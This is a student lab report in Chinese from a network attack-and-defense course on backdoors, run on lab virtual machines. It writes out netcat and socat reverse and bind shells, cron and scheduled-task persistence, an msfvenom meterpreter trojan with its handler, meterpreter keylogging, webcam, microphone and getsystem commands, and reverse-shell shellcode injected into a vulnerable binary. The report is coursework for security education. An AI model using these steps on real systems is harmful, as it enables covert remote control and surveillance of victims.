2019-2020-2《网络对抗技术》 Exp2 后门原理与实践
实验内容
- 使用netcat获取主机操作Shell,cron启动 (0.5分)
- 使用socat获取主机操作Shell, 任务计划启动 (0.5分)
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
基础问题回答
-
例举你能想到的一个后门进入到你系统中的可能方式?
答:程序绑定到 .jpg 等不同格式的图片中,在网页加载图片时,图片里绑定的程序被执行。
-
例举你知道的后门如何启动起来(win及linux)的方式?
答:设定后门程序触发条件,当计算机开机时、当到每天、每月或每年的特定时间时等等条件,后门程序启动。
Windows 修改注册表,Linux 替换网络服务等等。
-
Meterpreter有哪些给你映像深刻的功能?
答:获得屏幕的截图,就能获得相同权限的文件,能获得截图说明就能录像,再加上能录音,获取 IP 地址,就实现了:知道——你是谁,你在哪,从哪里来,到哪里去。
-
如何发现自己有系统有没有被安装后门?
答:运行杀毒软件、检查进程、检查线程、检查端口、检查注册表、检查网络通信等等。
预备
1. 固定 IP
-
Kali 虚拟机桥接模式固定 IP 为:192.168.3.101
-
Windows 7 虚拟机桥接模式固定 IP 为:192.168.3.111
这里是由于 msfvenom 生成的木马与 Win10 不兼容,后文会提到。
-
Windows 10 宿主机固定 IP 为:192.168.3.4
2. SSH 远程登录
由于要输命令还得在宿主机和虚拟机之间来回切换,很麻烦。这里直接在 PowerShell 使用 SSH 远程登录 Kali。同组的同学可以参考:
执行下一步需关闭宿主机和虚拟机双方的防火墙。
3. Windows 获得 linux 的 shell
-
在 Windows 使用
ncat.exe
程序监听本机的xxxx
端口ncat.exe -l -p xxxx
-
在 linux 中反弹连接 Windows ,
nc 192.168.3.101 xxxx -e /bin/sh
,使用-e
选项执行shell
程序 -
结果:左边 Windows PowerShell ,右边 Kali Shell
4. linux 获得 Windows 的 shell
-
在linux端使用
nc -l -p xxxx
指令监听xxxx
端口 -
在Windows下,使用
ncat.exe -e powershell.exe 192.168.3.101 xxxx
指令反向连接 linux 主机的xxxx
端口 -
结果:左边 Windows PowerShell ,右边 Kali Shell
5. 使用nc指令传输数据
- Windows 下使用
ncat.exe -l xxxx
指令监听 xxxx 端口 - linux 使用
nc 192.168.3.4 xxxx
指令反弹连接到Windows的 xxxx 端口
6. nc传输文件
-
linux 向 Windows 中传输文件
- Windows中通过
ncat.exe -l xxxx> fileFromkali
监听 xxxx 端口 - linux 反弹连接 Windows 的 xxxx 端口
nc 192.168.3.4 xxxx < exp2_exam1
,Windows可以收到 linux 发来的文件。
- Windows中通过
-
Windows 向 linux 中传输文件同理。
实验
分支一
使用netcat获取主机操作Shell,cron启动
windows使用 ncat.exe -l -p xxxx
监听 xxxx 端口。
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
-
crontab
指令增加一条定时任务,-e
表示编辑。在最后一行添加9 * * * * /bin/netcat 192.168.3.4 xxxx -e /bin/sh
每个时间段的第9分钟反向连接 Windows 主机的 xxxx 端口。 -
时间到了 11:09 ,此时已获得了 Kali 的 shell ,使用ls查看目录
分支二
使用socat获取主机操作Shell, 任务计划启动
-
右键windows ,找到计算机管理 ,在系统工具找到任务计划程序,创建任务
-
常规
中填写任务名称为exp
,点击触发器
然后新建触发器
,我选择工作站锁定时
然后点击确定。 -
在
操作
中,导入你所下载解压后的socat.exe的路径,在添加参数
中填入tcp-listen:xxxx exec:cmd.exe,pty,stderr
(把cmd.exe
绑定到端口 xxxx ,同时把cmd.exe
的stderr
重定向到stdout
上),创建完成之后,点击确定。 -
先锁定计算机,然后重新进入计算机,
socat
就会启动 -
在kali中输入
socat - tcp:192.168.2.130:xxxx
(-
代表标准的输入输出,第二个流连接到Windows主机的xxxx端口,IP为windows的IP),成功获得cmd shell
分支三
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
错误说明
由于我的 Windows10 1909 18363.720 的未知兼容性问题,16位、32位、64位都试过,都不兼容,这里到Windows7虚拟机上进行。
-
16位和32位
-
64位
换成 Windows 7 后步骤
-
在 kali 中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.101 LPORT=xxxx -f exe > xxxxxxxx_backdoor.exe
(IP为kali的IP)生成后门程序xxxxxxxx_backdoor.exe
。 -
在Windows中使用`ncat.exe -l xxxx > xxxxxxxx_backdoor.exe 等待。
-
kali中输入nc 192.168.2.130 xxxx < xxxxxxxx_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机,传输成功。
-
在linux中另外打开一个终端,
msfconsole
进入控制台 -
输入
use exploit/multi/handler
使用监听模块,设置payload -
使用和生成后门程序时相同的payload:
set payload windows/meterpreter/reverse_tcp
-
set LHOST 192.168.3.101
此处为kali的IP(和生成后门程序时指定的IP相同) -
端口号也相同:
set LPORT xxxx
-
设置完成后,
exploit
开始监听 -
kali获得Windows主机的连接,并且得到了远程控制的shell
分支四
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
-
截取音频:
record_mic
-
获取摄像头拍照:
webcam_snap
由于是在虚拟机上实现,所以无法使用摄像头。
-
截屏:
screenshot
-
记录击键的过程:
keyscan_start
读取击键的记录:keyscan_dump
-
查看当前用户:
getuid
,提取权限:getsystem
加分内容
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
-
主要步骤同实验一,唯一要注意的的就是 PWN 可执行文件的 %esp 较实验一可能会出现变化。
关闭地址随机化:
execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
这里只简述步骤:
- 由
gdb
来调试xxxxxxxxpwn4
这个进程。 ps -aux | grep pwn
查看进程 PIDattach <PID>
disassemble foo
break *0x080484ae
info r esp
x/16x 0x........
- 由
-
根据 %esp 值 + 4 = 0xffffd700
-
由此更改注入代码前 4 个
\x
数据。perl -e 'print "A" x 32;print"\x00\xd7\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode_2
-
在另终端中先启动
msfconsole
use exploit/multi/handler //用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 //设置IP为回环地址
set LPORT 4444 //根据代码设置端口
exploit //设置完成开始监听
- 返回这一终端中后执行:
(cat shellcodeinput;cat) | ./pwn1
,成功获得shell 。
实验总结与体会
Intel 的“熔断”和“幽灵”漏洞暂且不说,毕竟自1995年以来制造的大多数CPU都存在名为“熔断”的芯片缺陷。 一年前, AMD CPU 的安全性在人们眼中相对较高,最近一年也传出 APU 也存在漏洞。我们尚且可以在实验中获取权限来控制一台电脑,更何况这种最底层的漏洞。所以国家这几年加紧步伐想要做出自己的 CPU ,我们也要保护好自己的信息数据,不能外泄,以免随之而来的危险。